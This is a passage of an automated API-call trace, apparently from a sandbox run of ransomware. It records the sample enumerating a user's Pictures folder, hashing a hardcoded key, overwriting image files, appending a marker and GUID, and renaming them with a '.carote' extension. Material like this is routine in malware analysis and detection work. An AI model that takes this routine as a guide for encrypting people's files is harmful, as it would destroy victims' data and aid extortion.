dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.548] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.548] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.548] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\") returned="LKIDjb 2A JAgFttip\\" [0113.548] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0113.548] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48948 [0113.548] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.548] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\") returned="rBkn83DAvewyB\\" [0113.548] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0113.548] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48948 | out: hHeap=0x5010000) returned 1 [0113.548] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0113.548] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0113.548] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0113.548] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.548] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0113.548] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0113.548] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.548] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.548] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.548] PathFindFileNameW (pszPath="") returned="" [0113.548] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.549] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7b5a0d0, ftCreationTime.dwHighDateTime=0x1d4cf18, ftLastAccessTime.dwLowDateTime=0xa29a13d0, ftLastAccessTime.dwHighDateTime=0x1d4d4b6, ftLastWriteTime.dwLowDateTime=0xa29a13d0, ftLastWriteTime.dwHighDateTime=0x1d4d4b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.550] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.550] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7b5a0d0, ftCreationTime.dwHighDateTime=0x1d4cf18, ftLastAccessTime.dwLowDateTime=0xa29a13d0, ftLastAccessTime.dwHighDateTime=0x1d4d4b6, ftLastWriteTime.dwLowDateTime=0xa29a13d0, ftLastWriteTime.dwHighDateTime=0x1d4d4b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.550] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb323c20, ftCreationTime.dwHighDateTime=0x1d4c7d2, ftLastAccessTime.dwLowDateTime=0x842ebaf0, ftLastAccessTime.dwHighDateTime=0x1d4d262, ftLastWriteTime.dwLowDateTime=0x842ebaf0, ftLastWriteTime.dwHighDateTime=0x1d4d262, nFileSizeHigh=0x0, nFileSizeLow=0x16296, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-5ALl.png", cAlternateFileName="")) returned 1 [0113.550] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.550] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xee) returned 0x50f5608 [0113.550] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.550] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\-5ALl.png") returned=".png" [0113.550] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\-5ALl.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\lkidjb 2a jagfttip\\-5all.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.551] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=90774) returned 1 [0113.551] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.552] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16270, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.552] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.554] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.554] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.554] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.554] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x16296, lpOverlapped=0x0) returned 1 [0113.555] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.555] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.555] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.555] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.555] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.556] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.556] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.556] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.556] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.557] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.557] GetLastError () returned 0x0 [0113.557] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.557] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.557] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.557] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x162a0) returned 0x7b182e0 [0113.557] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.557] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.557] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x16291, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x16291, lpOverlapped=0x0) returned 1 [0113.558] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.558] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16296, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.558] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.558] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.558] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.558] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.558] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.558] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.558] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.558] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.558] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.558] CloseHandle (hObject=0x61c) returned 1 [0113.559] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b162f8 [0113.559] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7b14908 [0113.560] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162f8 | out: hHeap=0x5010000) returned 1 [0113.560] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\-5ALl.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\lkidjb 2a jagfttip\\-5all.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\-5ALl.png.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\lkidjb 2a jagfttip\\-5all.png.carote")) returned 1 [0113.560] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.560] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.561] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50f5608 | out: hHeap=0x5010000) returned 1 [0113.561] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6631b40, ftCreationTime.dwHighDateTime=0x1d4c63a, ftLastAccessTime.dwLowDateTime=0x378631b0, ftLastAccessTime.dwHighDateTime=0x1d4c78b, ftLastWriteTime.dwLowDateTime=0x378631b0, ftLastWriteTime.dwHighDateTime=0x1d4c78b, nFileSizeHigh=0x0, nFileSizeLow=0x8d8d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eSoALTrj4Vl.bmp", cAlternateFileName="ESOALT~1.BMP")) returned 1 [0113.561] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.561] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xee) returned 0x50f5608 [0113.561] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.561] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\eSoALTrj4Vl.bmp") returned=".bmp" [0113.561] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\eSoALTrj4Vl.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\lkidjb 2a jagfttip\\esoaltrj4vl.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.561] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=36237) returned 1 [0113.562] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.563] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8d67, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.563] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.564] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0113.565] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.565] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.565] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x8d8d, lpOverlapped=0x0) returned 1 [0113.565] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.565] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.565] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.565] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.565] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.566] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.566] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.566] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.566] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.566] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.566] GetLastError () returned 0x0 [0113.566] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.566] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.566] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.566] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8d90) returned 0x7b182e0 [0113.567] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.567] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.567] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x8d88, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x8d88, lpOverlapped=0x0) returned 1 [0113.567] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.567] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8d8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.567] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.567] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.567] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.567] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.567] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.567] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.567] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.567] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.567] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.567] CloseHandle (hObject=0x61c) returned 1 [0113.568] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b162f8 [0113.568] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8c0) returned 0x7b14908 [0113.568] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162f8 | out: hHeap=0x5010000) returned 1 [0113.568] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\eSoALTrj4Vl.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\lkidjb 2a jagfttip\\esoaltrj4vl.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\eSoALTrj4Vl.bmp.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\lkidjb 2a jagfttip\\esoaltrj4vl.bmp.carote")) returned 1 [0113.569] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.569] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50f5608 | out: hHeap=0x5010000) returned 1 [0113.570] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc8dd80, ftCreationTime.dwHighDateTime=0x1d4cc46, ftLastAccessTime.dwLowDateTime=0xf59396b0, ftLastAccessTime.dwHighDateTime=0x1d4c831, ftLastWriteTime.dwLowDateTime=0xf59396b0, ftLastWriteTime.dwHighDateTime=0x1d4c831, nFileSizeHigh=0x0, nFileSizeLow=0x7671, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pTgIntnrLgI.jpg", cAlternateFileName="PTGINT~1.JPG")) returned 1 [0113.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.570] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xee) returned 0x50f5608 [0113.570] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x51097a0 | out: hHeap=0x5010000) returned 1 [0113.570] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\pTgIntnrLgI.jpg") returned=".jpg" [0113.570] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\LKIDjb 2A JAgFttip\\pTgIntnrLgI.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\lkidjb 2a jagfttip\\ptgintnrlgi.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.570] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=30321) returned 1 [0113.571] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.572] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x764b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.572] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.574] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0113.574] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.574] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.574] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x7671, lpOverlapped=0x0) returned 1 [0113.575] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.575] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.575] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.575] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.575] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.575] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.575] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.575] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.576] GetLastError () returned 0x0 [0113.576] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.576] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7670) returned 0x7b182e0 [0113.576] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.576] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x766c, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x766c, lpOverlapped=0x0) returned 1 [0113.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.576] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7671, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: 